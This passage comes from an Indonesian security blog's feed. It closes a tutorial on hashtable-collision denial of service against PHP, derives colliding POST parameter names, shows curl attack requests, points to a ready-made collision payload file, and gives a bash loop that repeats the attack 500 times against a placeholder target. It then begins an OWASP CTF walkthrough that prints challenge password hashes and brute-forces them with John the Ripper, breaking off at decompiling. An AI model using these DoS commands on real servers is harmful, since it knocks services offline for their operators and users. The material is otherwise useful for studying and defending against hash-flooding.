		<span style="color: #b1b100;">case</span> <span style="color: #0000dd;">7</span><span style="color: #339933;">:</span> hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span> <span style="color: #808080; font-style: italic;">/* fallthrough... */</span>
		<span style="color: #b1b100;">case</span> <span style="color: #0000dd;">6</span><span style="color: #339933;">:</span> hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span> <span style="color: #808080; font-style: italic;">/* fallthrough... */</span>
		<span style="color: #b1b100;">case</span> <span style="color: #0000dd;">5</span><span style="color: #339933;">:</span> hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span> <span style="color: #808080; font-style: italic;">/* fallthrough... */</span>
		<span style="color: #b1b100;">case</span> <span style="color: #0000dd;">4</span><span style="color: #339933;">:</span> hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span> <span style="color: #808080; font-style: italic;">/* fallthrough... */</span>
		<span style="color: #b1b100;">case</span> <span style="color: #0000dd;">3</span><span style="color: #339933;">:</span> hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span> <span style="color: #808080; font-style: italic;">/* fallthrough... */</span>
		<span style="color: #b1b100;">case</span> <span style="color: #0000dd;">2</span><span style="color: #339933;">:</span> hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span> <span style="color: #808080; font-style: italic;">/* fallthrough... */</span>
		<span style="color: #b1b100;">case</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">:</span> hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">case</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">:</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
EMPTY_SWITCH_DEFAULT_CASE<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">return</span> hash<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p style="text-align: justify;">
Walaupun terlihat panjang tapi sebenarnya source di atas adalah bentuk efisiensi saja dengan mengubah perkalian 33 dengan operasi shift left 5 kali ditambah hash satu kali, bentuk yang sederhananya adalah:
</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;">hash_t bernstein_hash<span style="color: #009900;">&#40;</span><span style="color: #993333;">const</span> <span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>key<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
 hash_t h<span style="color: #339933;">=</span><span style="color: #0000dd;">5381</span><span style="color: #339933;">;</span>
 <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span>key<span style="color: #009900;">&#41;</span> h<span style="color: #339933;">=</span><span style="color: #0000dd;">33</span><span style="color: #339933;">*</span>h <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>key<span style="color: #339933;">++;</span>
 <span style="color: #b1b100;">return</span> h<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p style="text-align: justify;">
Mari kita lihat beberapa contoh hash. Dalam fungsi DJBX33A digunakan nilai awal hash 5381. Perlu diingat bahwa kode ascii A,B,C,D adalah 65,66,67,68.
</p>
<p style="text-align: justify;">
hash(&#8220;A&#8221;) = 5381&#215;33 + 65 = 5381&#215;33<sup>1</sup> + 65&#215;33<sup>0</sup><br />
hash(&#8220;AB&#8221;) = hash(&#8220;A&#8221;) x 33 + 66 = 5381&#215;33<sup>2</sup> + 65&#215;33<sup>1</sup> + 66&#215;33<sup>0</sup><br />
hash(&#8220;ABC&#8221;) = hash(&#8220;AB&#8221;) x 33 + 67 = 5381&#215;33<sup>3</sup> + 65&#215;33<sup>2</sup> + 66&#215;33<sup>1</sup> + 67&#215;33<sup>0</sup><br />
hash(&#8220;ABCD&#8221;) = hash(&#8220;ABC&#8221;) x 33 + 68 = 5381&#215;33<sup>4</sup> + 65&#215;33<sup>3</sup> + 66&#215;33<sup>2</sup> + 67&#215;33<sup>1</sup> + 68&#215;33<sup>0</sup>
</p>
<p style="text-align: justify;">
Dengan kata lain hash dari string S dengan panjang n adalah:<br />
5381&#215;33<sup>n</sup>+&sum; S[i] x 33<sup>n-i</sup>
</p>
<p style="text-align: justify;">
Dengan formula yang sederhana seperti ini kita bisa dengan mudah mencari beberapa string yang memiliki hash yang sama. Agar lebih sederhana kita gunakan nilai hash awal bukan 5381, tapi 0 saja. Mari kita coba cari dua string terdiri dua karakter diawali dengan huruf A dan huruf C, kita akan mencari huruf keduanya.
</p>
<p style="text-align: justify;">
hash(&#8220;A?&#8221;) = hash(&#8220;C?&#8221;)<br />
65 * 33 + x = 67 * 33 + y<br />
2145 + x = 2211 + y<br />
x &#8211; y = 66
</p>
<p style="text-align: justify;">
Kita sekarang tinggal mencari dua karakter yang selisih kode asciinya adalah 66. </p>
<ul>
<li>Bila x=122 (kode ascii &#8216;z&#8217;),y adalah 56 (kode ascii &#8217;8&#8242;),maka hash(&#8220;Az&#8221;)=hash(&#8220;C8&#8243;)</li>
<li>Bila x=121 (kode ascii &#8216;y&#8217;),y adalah 55 (kode ascii &#8217;7&#8242;),maka hash(&#8220;Ay&#8221;)=hash(&#8220;C7&#8243;)</li>
<li>Bila x=120 (kode ascii &#8216;x&#8217;),y adalah 54 (kode ascii &#8217;6&#8242;),maka hash(&#8220;Ax&#8221;)=hash(&#8220;C6&#8243;)</li>
<li>Bila x=119 (kode ascii &#8216;w&#8217;),y adalah 53 (kode ascii &#8217;5&#8242;),maka hash(&#8220;Aw&#8221;)=hash(&#8220;C5&#8243;)</li>
</ul>
<p style="text-align: justify;">
Kita bisa dengan mudah menemukan banyak collision dengan perhitungan sederhana seperti ini. Tapi selain dengan cara itu, kita bisa lebih jauh lagi mencari collision dengan teknik equivalent substring.
</p>
<p><b>Equivalent Substring</b></p>
<p style="text-align: justify;">
Karena fungsi hash DJBX33A sifatnya linear, maka bila diketahui hash(&#8220;Aw&#8221;)=hash(&#8220;C5&#8243;), akan berlaku:
</p>
<ul>
<li>hash(&#8220;prefix+Aw&#8221;)=hash(&#8220;prefix+C5&#8243;)</li>
<li>hash(&#8220;Aw+suffix&#8221;)=hash(&#8220;C5+suffix&#8221;)</li>
<li>hash(&#8220;prefix+Aw+suffix&#8221;)=hash(&#8220;prefix+C5+suffix&#8221;)</li>
</ul>
<p style="text-align: justify;">
Dengan cara ini kita bisa mengembangkan collision &#8220;Aw&#8221; dan &#8220;C5&#8243; menjadi ribuan collision lain dengan menambahkan random prefix dan suffix, contohnya:
</p>
<ul>
<li>hash(&#8220;xcvbAw&#8221;)=hash(&#8220;xcvbC5&#8243;)</li>
<li>hash(&#8220;52$$Aw&#8221;)=hash(&#8220;52$$C5&#8243;)</li>
<li>hash(&#8220;Aw889&#8243;)=hash(&#8220;C5889&#8243;)</li>
<li>hash(&#8220;Aw**&#8221;)=hash(&#8220;C5**&#8221;)</li>
<li>hash(&#8220;@@Aw**&#8221;)=hash(&#8220;@@C5**&#8221;)</li>
</ul>
<p style="text-align: justify;">
Mengapa equivalent substring ini berlaku? Kita lihat contoh berikut, bila diketahui hash(&#8220;Aw&#8221;)=hash(&#8220;C5&#8243;), sekarang kita coba tambahkan suffix &#8216;#&#8217;, berapakah h(&#8220;Aw#&#8221;) dan h(&#8220;C5#&#8221;) ?
</p>
<ul>
<li>h(&#8220;Aw&#8221;) = h(&#8220;C5&#8243;) = y</li>
<li>h(&#8220;Aw#&#8221;) = h(&#8220;Aw&#8221;) * 33 + ascii(&#8216;#&#8217;)</li>
<li>h(&#8220;C5#&#8221;) = h(&#8220;C5&#8243;) * 33 + ascii(&#8216;#&#8217;)</li>
<li>h(&#8220;Aw#&#8221;) = h(&#8220;C5#&#8221;) = y * 33 + ascii(&#8216;#&#8217;)</li>
</ul>
<p>Begitu juga dengan penambahan prefix. Mari kita lihat bila h(&#8220;Aw&#8221;)=h(&#8220;C5&#8243;) apakah h(&#8220;#Aw&#8221;)=h(&#8220;#C5&#8243;) juga?</p>
<ul>
<li>h(&#8220;Aw&#8221;) = h(&#8220;C5&#8243;) = y</li>
<li>h(&#8220;Aw&#8221;) = 5381*33^2 + 65*33 + 119</li>
<li>h(&#8220;C5&#8243;) = 5381*33^2 + 67*33 + 53</li>
<li>h(&#8220;#Aw&#8221;)=5381*33^3+35*33^2+65*33+119 = 5381*33^3 + 35*33^2 + h(&#8220;Aw&#8221;) &#8211; 5381*33^2</li>
<li>h(&#8220;#C5&#8243;)=5381*33^3+35*33^2+67*33+53&nbsp;&nbsp;&nbsp;= 5381*33^3 + 35*33^2 + h(&#8220;C5&#8243;) &#8211; 5381*33^2</li>
<li>h(&#8220;#Aw&#8221;) = h(&#8220;#C5&#8243;) = 5381*33^3 + 35*33^2 + y – 5381*33^2</li>
</ul>
<p><b>Attacking via POST data</b></p>
<p style="text-align: justify;">
Ketika kita mengirimkan request POST ke suatu file PHP, php akan menyiapkan sebuah hash table bernama $_POST untuk menampung parameter yang dikirim via POST request.
</p>
<p style="text-align: justify;">
Contoh di bawah ini adalah ketika kita mengirim POST request dengan curl, dan mengirimkan dua paramter ABC dan test kemudian isi hash table $_POST di-dump dengan print_r().
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">root@bt:~# curl http://192.168.7.198/hashcollision/test2.php -d &quot;ABC=123&amp;test=aaa&quot;
Array
(
    [ABC] =&gt; 123
    [test] =&gt; aaa
)</pre></div></div>

<p style="text-align: justify;">
Kita bisa membuat prosesor di server bekerja ekstra keras dengan mengirimkan parameter POST yang 100% collision. Dengan teknik equivalent substring kita bisa meng-generate banyak parameter name yang menghasilkan collision. Sebagai contoh bila diketahui hash(&#8220;Aw&#8221;)=hash(&#8220;C5&#8243;), maka kita bisa mulai dari &#8220;AwAwAw&#8221; kemudian melakukan kombinasi dengan mengganti substring &#8220;Aw&#8221; dengan &#8220;C5&#8243;:</p>
<ul>
<li>AwAwAw</li>
<li>AwAwC5</li>
<li>AwC5Aw</li>
<li>C5AwAw</li>
<li>AwC5C5</li>
<li>C5C5C5</li>
</ul>
<p style="text-align: justify;">Bila kita mengirimkan POST request dengan post data: </p>
<p>&#8220;AwAwAw=&#038;AwAwC5&#038;AwC5Aw=&#038;C5AwAw=&#038;AwC5C5=&#038;C5C5C5=&#8221;</p>
<p style="text-align: justify;">maka 6 parameter post tersebut akan menghasilkan 100% collision. Tentu saja 6 collision saja tidak terasa efeknya, semakin banyak collision yang dikirim dalam satu request POST semakin berat kerja prosesor.</p>
</p>
<p style="text-align: justify;">
Di internet sudah banyak beredar parameter POST data yang menghasilkan 100% collision. Kita bisa meng-generate sendiri atau mengambil dari internet. Salah satu parameter post di internet adalah http://jrs-s.net/hashcollide.txt yang berisi 65536 parameter post:
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2012/01/postdoom.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2012/01/postdoom.jpg" alt="" title="postdoom" width="468" height="261" class="aligncenter size-full wp-image-2853" /></a></p>
<p><b>POST of Doom</b></p>
<p style="text-align: justify;">
Sekarang kita coba melakukan serangan DoS dengan menggunakan parameter name dari internet. Kita akan menggunakan curl sebagai tools untuk mengirimkan POST request ke target. Parameter post disimpan dalam file hashcollide.txt.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">root@bt:~# curl http://192.168.7.198/hashcollision/test2.php -d @hashcollide.txt -v 
* About to connect() to 192.168.7.198 port 80 (#0)
*   Trying 192.168.7.198... connected
* Connected to 192.168.7.198 (192.168.7.198) port 80 (#0)
&gt; POST /hashcollision/test2.php HTTP/1.1
&gt; User-Agent: curl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15
&gt; Host: 192.168.7.198
&gt; Accept: */*
&gt; Content-Length: 1441792
&gt; Content-Type: application/x-www-form-urlencoded
&gt; Expect: 100-continue
&gt; 
&lt; HTTP/1.1 100 Continue</pre></div></div>

<p style="text-align: justify;">
Cukup 2 request POST of Doom seperti ini saja prosesor sudah terpakai 100%. Dalam kasus ini dibutuhkan dua request POST karena masing-masing request menghabiskan 50% cpu dari dual core processor.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2012/01/taskman.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2012/01/taskman.jpg" alt="" title="taskman" width="473" height="233" class="aligncenter size-full wp-image-2855" /></a></p>
<p style="text-align: justify;">
Dari grafik cpu usage di task manager juga terlihat lonjakan cpu usage, dari tadinya normal menjadi 100% setelah menerima request POST of Doom ini.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2012/01/taskman2.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2012/01/taskman2.jpg" alt="" title="taskman2" width="643" height="252" class="aligncenter size-full wp-image-2856" /></a></p>
<p style="text-align: justify;">
Serangan ini berbahaya karena DoS tidak dilakukan dengan menghujani (flooding) server dengan banyak request, tapi dilakukan sedikit request saja yang mengandung parameter post yang 100% collision.
</p>
<p>
Bila satu atau dua request tidak cukup membuat server target tewas (karena servernya adalah server kelas berat), jangan kuatir kita tinggal menambahkan script yang akan looping melakukan serangan hingga ratusan kali. Sebagai contoh, script bash kecil di bawah ini melakukan serangan sebanyak 500x.
</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/bash</span>
<span style="color: #000000; font-weight: bold;">for</span> i <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">seq</span> <span style="color: #000000;">1</span> <span style="color: #000000;">500</span><span style="color: #000000; font-weight: bold;">`</span> ; <span style="color: #000000; font-weight: bold;">do</span>
    <span style="color: #7a0874; font-weight: bold;">&#40;</span>curl <span style="color: #660033;">-s</span> <span style="color: #660033;">-d</span> <span style="color: #000000; font-weight: bold;">@</span>hashcollide.txt http:<span style="color: #000000; font-weight: bold;">//</span>targethost<span style="color: #000000; font-weight: bold;">/</span>targetpath.php <span style="color: #000000; font-weight: bold;">&gt;/</span>dev<span style="color: #000000; font-weight: bold;">/</span>null <span style="color: #000000; font-weight: bold;">&amp;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #000000; font-weight: bold;">done</span></pre></div></div>

<p style="text-align: justify;">
Dalam artikel selanjutnya kita akan membahas serangan DoS yang sama ke bahasa selain PHP, seperti Java.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=42Wo2n5hsfY:_MnFdca0zaI:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=42Wo2n5hsfY:_MnFdca0zaI:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=42Wo2n5hsfY:_MnFdca0zaI:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=42Wo2n5hsfY:_MnFdca0zaI:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=42Wo2n5hsfY:_MnFdca0zaI:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=42Wo2n5hsfY:_MnFdca0zaI:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=42Wo2n5hsfY:_MnFdca0zaI:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=42Wo2n5hsfY:_MnFdca0zaI:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/web-security/hashtable-collision-dos/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Pre-conference Challenge #3 OWASP AppsecUSA 2011 – Walkthrough</title>
		<link>http://www.ilmuhacking.com/web-security/challenge-3-owasp-appsecusa-2011-walkthrough/</link>
		<comments>http://www.ilmuhacking.com/web-security/challenge-3-owasp-appsecusa-2011-walkthrough/#comments</comments>
		<pubDate>Sun, 31 Jul 2011 06:54:10 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[Web Security]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=2576</guid>
		<description><![CDATA[Dalam tulisan ini saya akan sharing bagaimana menyelesaikan challenge CTF OWASP dalam Appsec USA 2011. Dalam challenge ini kita diminta mendownload sebuah file ZIP yang berisi sebuah Applet (dalam JAR) dan html untuk me-load Applet tersebut. Ketika Applet tersebut dibuka di browser akan terlihat seperti ini: Kita dihadapkan pada form yang meminta kita memasukkan username [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Dalam tulisan ini saya akan sharing bagaimana menyelesaikan challenge <a href="http://www.appsecusa.org/ctf.html">CTF OWASP</a> dalam Appsec USA 2011.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf1.jpg"><img class="aligncenter size-full wp-image-2583" title="ctf1" src="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf1.jpg" alt="" width="596" height="282" /></a></p>
<p style="text-align: justify;">Dalam challenge ini kita diminta mendownload sebuah file ZIP yang berisi sebuah Applet (dalam JAR) dan html untuk me-load Applet tersebut. Ketika Applet tersebut dibuka di browser akan terlihat seperti ini:</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf2.jpg"><img class="aligncenter size-full wp-image-2585" title="ctf2" src="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf2.jpg" alt="" width="502" height="315" /></a></p>
<p style="text-align: justify;">Kita dihadapkan pada form yang meminta kita memasukkan username dan PIN. Jadi challenge  kita adalah menemukan username dan PIN yang tepat untuk mendapatkan flag yang terenkripsi. Dari form tersebut kita mendapat clue bahwa PIN ini formatnya adalah 6 digit.</p>
<p><span id="more-2576"></span></p>
<p style="text-align: justify;">Sebelumnya kita harus tahu dulu darimana data username/PIN tersebut disimpan. Ada dua kemungkinan:</p>
<ul>
<li>Server-side authentication: bila keputusan credentials benar/salah diputuskan di server</li>
<li>Client-side authentication: bila keputusan credentials benar/salah diputuskan di client (browser)</li>
</ul>
<p style="text-align: justify;">Pertama saya menguji dengan memasukkan user dan PIN sembarang, dari pantauan sniffer tidak terlihat ada traffic data sedikitpun. Dari sini bisa kita simpulkan bahwa ini adalah client-side authentication, artinya keputusan username dan PIN yang dimasukkan benar atau salah sepenuhnya diputuskan di client-side (dalam browser/Applet).</p>
<p style="text-align: justify;">Dalam client-side authentication, pasti ada repository untuk menyimpan data user dan passwordnya. Dalam kasus ini, data tersebut disimpan dalam JAR. Dalam file JAR tersebut kalau kita buka, kita akan temukan file:</p>
<p align="left">org\owasp\appsecusa\capturetheflag\loginchallenge\data.xml. Berikut adalah isi dari data.xml</p>
<p style="text-align: justify;">

<div class="wp_syntax"><div class="code"><pre class="xml" style="font-family:monospace;"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;?xml</span> <span style="color: #000066;">version</span>=<span style="color: #ff0000;">&quot;1.0&quot;</span> <span style="color: #000066;">encoding</span>=<span style="color: #ff0000;">&quot;UTF-8&quot;</span><span style="color: #000000; font-weight: bold;">?&gt;</span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;root<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;users<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
        <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;identity<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
            <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;uid<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>1<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/uid<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
            <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;username<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>Larry<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/username<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
            <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;password<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>520540d155fdde616031d546cd5c747a<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/password<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
        <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/identity<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
        <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;identity<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
            <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;uid<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>2<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/uid<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
            <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;username<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>Curly<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/username<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
            <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;password<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>edbf0f9d73cd984fae64c44c618f3c33<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/password<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
        <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/identity<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
        <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;identity<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
            <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;uid<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>3<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/uid<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
            <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;username<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>Moe<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/username<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
            <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;password<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>b2512d38c5702ce5108585d3c730f657<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/password<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
        <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/identity<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/users<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;storage<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
        <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;record<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
            <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;sid<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>3<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/sid<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
            <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;data<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>LCNIk2NvX1JdVcwIoWBxyewfKIFexhCeGnepwYK63RmSrEmAbEg/CHLRA7sK0mjAB/ZJzbM113Mv
3YXg2d46age+gNFoERSce9u2/up8xcpjfLdKd9RilU1hqpkZ0vcXkgZSn8XTnecHVYSRG45gXuWA
PzWGvNdy396WivrEKZo5B3kGUOJh8XIBW90aA9RWN0thyHoJvjaiu7alKuv/wtKwMk0ZTuZol5Le
rY7iJJdaEPthqeso3bHg0xd3xKmD2X09PdEa1U8ZuOYH2Z3ZjN4fj6gm5EBjDNferc7rSWYcbNkF
064jnQHO73XQAURMXl+vaXWMX3i7uqWinm/eSc1BUspXaB3BBZChcoMqK0+gdsmzd1GGalVqL86f
xBL7T5yVS7RJe0r45HtCYXroecR1aaO6xzHUwcAqGAD2Km2n0DrmRz9MoVO0yR2/KipiAfjFzPd+
7wjbzF5M8BcfLNRtBR9fTK86fkeIO+19+IFwnlewYFzVIWtTebm3zOHJCbQtBttMfwp8YaM+UWxZ
sA==<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/data<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
        <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/record<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
        <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/storage<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/root<span style="color: #000000; font-weight: bold;">&gt;</span></span></span></pre></div></div>

</p>
<p align="justify">
File XML ini menyimpan data user, password dan data yang terenkripsi (kemungkinan ini adalah flag yang akan kita capture). Dari isinya bisa kita lihat ada 3 user: Larry, Curly dan Moe. Password terlihat dalam bentuk hash sepanjang 32 karakter (dari panjangnya kemungkinan ini adalah MD5).
</p>
<p align="justify">
Karena kemungkinan password disimpan dalam MD5 dan formatnya adalah 6 digit, maka saya mencoba cara paling mudah dulu, yaitu melakukan brute force dengan john the ripper. Dengan diketahui formatnya adalah 6 digit, john bisa melakukan brute force dalam hitungan detik saja.
</p>
<p align="justify">
Sebelum menjalankan john, kita perlu edit john.conf dulu agar lebih efisien. Pada bagian Incremental:Digits Kita masukkan minLength=6 dan maxLength=6 karena kita tahu bahwa yang kita cari panjangnya tepat 6 digit.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf3.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf3.jpg" alt="" title="ctf3" width="273" height="239" class="aligncenter size-full wp-image-2590" /></a></p>
<p align="justify">
Oke sekarang kita coba jalankan john dan berdoa semoga passwordnya ditemukan.
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf41.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2011/07/ctf41.jpg" alt="" title="ctf4" width="591" height="109" class="aligncenter size-full wp-image-2595" /></a></p>
<p align="justify">
John dengan opsi &#8220;incremental:Digits&#8221; dan panjang diset 6 ternyata tidak berhasil mendapatkan kecocokan, artinya format tersebut pasti bukan plain MD5, kemungkinan sudah ditambah salt. Oke kalau cara ini gagal, sekarang waktunya &#8220;go deeper&#8221;.
</p>
<p><b>Decompiling</b></p>
<p align="justify">
Kita akan &#8220;go deeper&#8221; dengan melakukan decompiling file class yang tersimpan dalam JAR.
</p>
<p align="justify">
